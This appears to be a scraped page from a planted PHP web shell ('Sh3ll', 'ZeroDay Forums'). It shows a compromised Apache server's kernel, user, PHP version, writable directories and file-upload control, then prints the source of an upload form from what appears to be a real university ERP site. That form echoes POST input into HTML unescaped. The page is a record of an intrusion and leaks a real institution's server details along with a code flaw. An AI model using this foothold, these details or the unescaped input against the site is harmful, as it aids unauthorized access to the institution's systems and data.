Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/erp19-7-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/erp19-7-2019/upload1.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  	<title>ERP @ IIITA</title>
	<base href="https://erp.iiita.ac.in/" />
	<meta charset="utf-8">
</head>
<body style="background: url(images/banner16.jpg); background-size: 100% 50; background-repeat: no-repeat; background-position: left top;">
<?php		
		$str = "<form id='erpForm' method='POST' action='upload/" .$app. "/" .$menu. "/" .$action. "/" .$tuple. "' enctype='multipart/form-data' autocomplete='on'>
		<table width='100%'>
    	<tr><th>Certificate Name</th><th>Image File</th></tr>
    	<tr><td><select name='certCode' style='width: 265px'>";
    	foreach ($this->controller->certFiles as $code => $desc) {
			$str .= "<option value='" .$code. "'>" .$desc. "</option>";
		}
		$str .= "</select></td><td><input type='file' name='fileToUpload' id='fileToUpload' size='50'> 
		<button title='Upload file'><i style='font-size:16px;' class='fas fa-upload'></i></button></td></tr>    	
		</table>
		<input type='hidden' name='callerID' value='" .$_POST['callerID']. "'>
		<a href='' onclick=\"inner('" .$app. "/" .$menu. "/new/" .$tuple. "'); return false;\" title='Refresh upload'><span class='button'><i class='fas fa-sync-alt'></i></span></a>&nbsp;&nbsp;
		</form>";
?>
</body>
</html>

ZeroDay Forums Mini